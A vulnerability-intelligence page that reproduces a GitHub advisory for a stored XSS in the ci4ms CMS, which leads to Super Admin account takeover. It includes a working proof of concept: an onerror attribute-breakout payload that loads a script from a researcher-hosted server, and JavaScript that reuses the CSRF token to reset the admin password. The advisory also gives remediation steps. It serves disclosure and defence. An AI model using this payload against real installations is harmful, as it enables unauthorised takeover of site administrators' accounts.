llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · ci4-cms-erp/ci4ms

GHSA-72MR-6RC7-79RH

Stored XSS to admin account takeover via Pages Cover Image URL

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.0
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición116 dDesde la divulgación, 25 jul 2026, 7:24 p. m.
Detección115 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
26 jul 26
18 nov 26
19 nov 26
26 jul 26
24 ago 26
22 sept 26
21 oct 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-72MR-6RC7-79RH divulgada · CVSS 8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the back-office Cover Image URL field (`pageimg`) of the Pages module. The server-side validation only blocks the characters `< > { }`, while the value is later rendered without HTML-escaping inside an `<img src="...">` attribute in `modules/Pages/Views/update.php`. Because the double-quote character (`"`) and `=` are allowed, an attacker can break out of the `src` attribute and inject an `onerror` event handler no `<` or `>` required.

A low-privileged user who only has *Pages → create/update* permission can store this payload. When a Super Admin later opens the affected page in the back-office, the JavaScript executes in the Super Admin's authenticated session. Content-Security-Policy is disabled (`app.CSPEnabled=false`), so the inline handler runs unconditionally.

The session cookie is `HttpOnly; SameSite=Lax`, so the cookie itself cannot be stolen but this does not stop the attack. The injected script runs same-origin inside the victim's session and the application exposes a valid CSRF token to JavaScript (`CI4MS_CSRF.getHash()`). The payload abuses the self-service profile endpoint (`/backend/users/profile`), which changes the logged-in user's password without requiring the current password, to silently set the Super Admin's password to an attacker-chosen value. The result is a full Super Admin account takeover triggered by a low-privileged user.

Details

1. Weak input validation (allows `"` and `=`)

`modules/Pages/Controllers/Pages.php` (both `create()` and `update()`):
<img width="1773" height="192" alt="{A7013C23-62E7-4007-8663-2D1A7A19F430}" src="https://github.com/user-attachments/assets/c0b011d1-e41f-4d91-adf3-e4c3178fd081" />

The regex ^[^<>{}]*$ rejects only < > { }. The characters ", ', =, spaces and () are accepted.

  • Storage (`CommonBackendLibrary::buildSeoData()`): only `strip_tags()` (keeps quotes) → saved to `pages_langs.seo.coverImage`.
  • Sink (`modules/Pages/Views/update.php`, ~line 87):
  • CSP disabled (app.CSPEnabled=false) → inline handler executes.
  • Takeover sink (UserController::profile()): changes the logged-in user's password with no current-password check; submitting the same email takes the silent branch (no verification, no logout). The script reads the admin's email/CSRF straight from the page, so nothing needs to be known in advance.
  • HttpOnly/SameSite=Lax don't help (session is ridden, not stolen); CSRF is bypassed via the JS-readable CI4MS_CSRF.getHash(). Blog views use esc() and are not affected only the Pages update view is.

Why HttpOnly / SameSite do not help: the cookie is never read; the browser attaches it automatically to the same-origin fetch(). SameSite=Lax is irrelevant for same-site requests. CSRF protection is bypassed because the app hands a fresh, valid token to JS via CI4MS_CSRF.getHash().

The hardened paths (for completeness): assigning a user to the built-in superadmin group, creating a new active admin, and editing another super-admin's password via update_user are all correctly blocked. The takeover instead abuses the self-service profile password change, which is not protected.

PoC

Roles used
- Attacker: a low-privileged user with only Pages → create/update permission (e.g. ali-low).
- Victim: a Super Admin (e.g. iltosec).

Step 1 Host the payload script x.js on a server the victim's browser can reach (here http://127.0.0.1:4848/x.js):

var p=new FormData();
p.append('csrf_token_ci4ms', CI4MS_CSRF.getHash());
p.append('firstname','asdf'); p.append('surname','asdf');
p.append('email','iltosec@iltosec.com');
p.append('password','Pwned123!');
// is_image is required
var b=atob('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
var u=new Uint8Array(b.length); for(var i=0;i<b.length;i++)u[i]=b.charCodeAt(i);
p.append('profileIMG', new Blob([u],{type:'image/png'}), 'a.png');
fetch('/backend/users/profile',{method:'POST',body:p,credentials:'include'});

Step 2 As the low-privileged user, store the XSS payload.
Log in as ali-low, edit any page (/backend/pages/pageUpdate/{id}), and set the Cover Image URL field to:

`zzz" onerror="var s=document.createElement('script');s.src='http://127.0.0.1:4848/x.js';document.body.appendChild(s)
`
Save the page.

<img width="2555" height="923" alt="image" src="https://github.com/user-attachments/assets/05bbe35f-162b-4f61-a491-58eb7117a89a" />
<img width="1622" height="970" alt="image" src="https://github.com/user-attachments/assets/c5f91c82-1954-4173-991d-612928f8cf88" />

Step 3 Trigger.
Log in as the Super Admin iltosec and open the same page in the/pageUpdate/{id}). The cover-image preview fails to load, onerror
fires, x.js is loaded and silently changes the Super Admin's password to Pwned123!.

<img width="2560" height="1120" alt="image" src="https://github.com/user-attachments/assets/c305712d-2545-43ca-a3f3-f5fd856ec6cf" />

Step 4 Takeover.
Log in as iltosec@iltosec.com / Pwned123! → full Super Admin access.

<img width="2559" height="203" alt="image" src="https://github.com/user-attachments/assets/7a953c22-922c-4ebb-8ec5-2a707bfb9147" />

Impact
  • Vulnerability type: Stored XSS (improper output encoding) chained with a password change that lacks re-authentication → privilege escalation / account takeover.
  • Attacker: any non-super-admin user with *Pages create/update* permission.
  • Victim: any Super Admin who opens the affected page (only interaction required).
  • Result: full Super Admin account takeover → complete control of the CMS.
  • Trigger: a single stored payload; fires automatically when the admin opens the page.
  • Not mitigated by: `HttpOnly` / `SameSite=Lax` cookies (session is ridden, not stolen) and CSRF tokens (exposed to JS via `CI4MS_CSRF.getHash()`).

### Fix
1. `esc()` the value in `Pages/Views/update.php` and restrict `pageimg` to a strict URL allowlist.
2. Require the current password in `UserController::profile()`.
3. Enable CSP (`app.CSPEnabled=true`) as defense-in-depth.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
ci4-cms-erp/ci4ms≤ 0.32.0.0
0.32.0.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistci4-cms-erp/ci4ms
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-72mr-6rc7-79rh

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.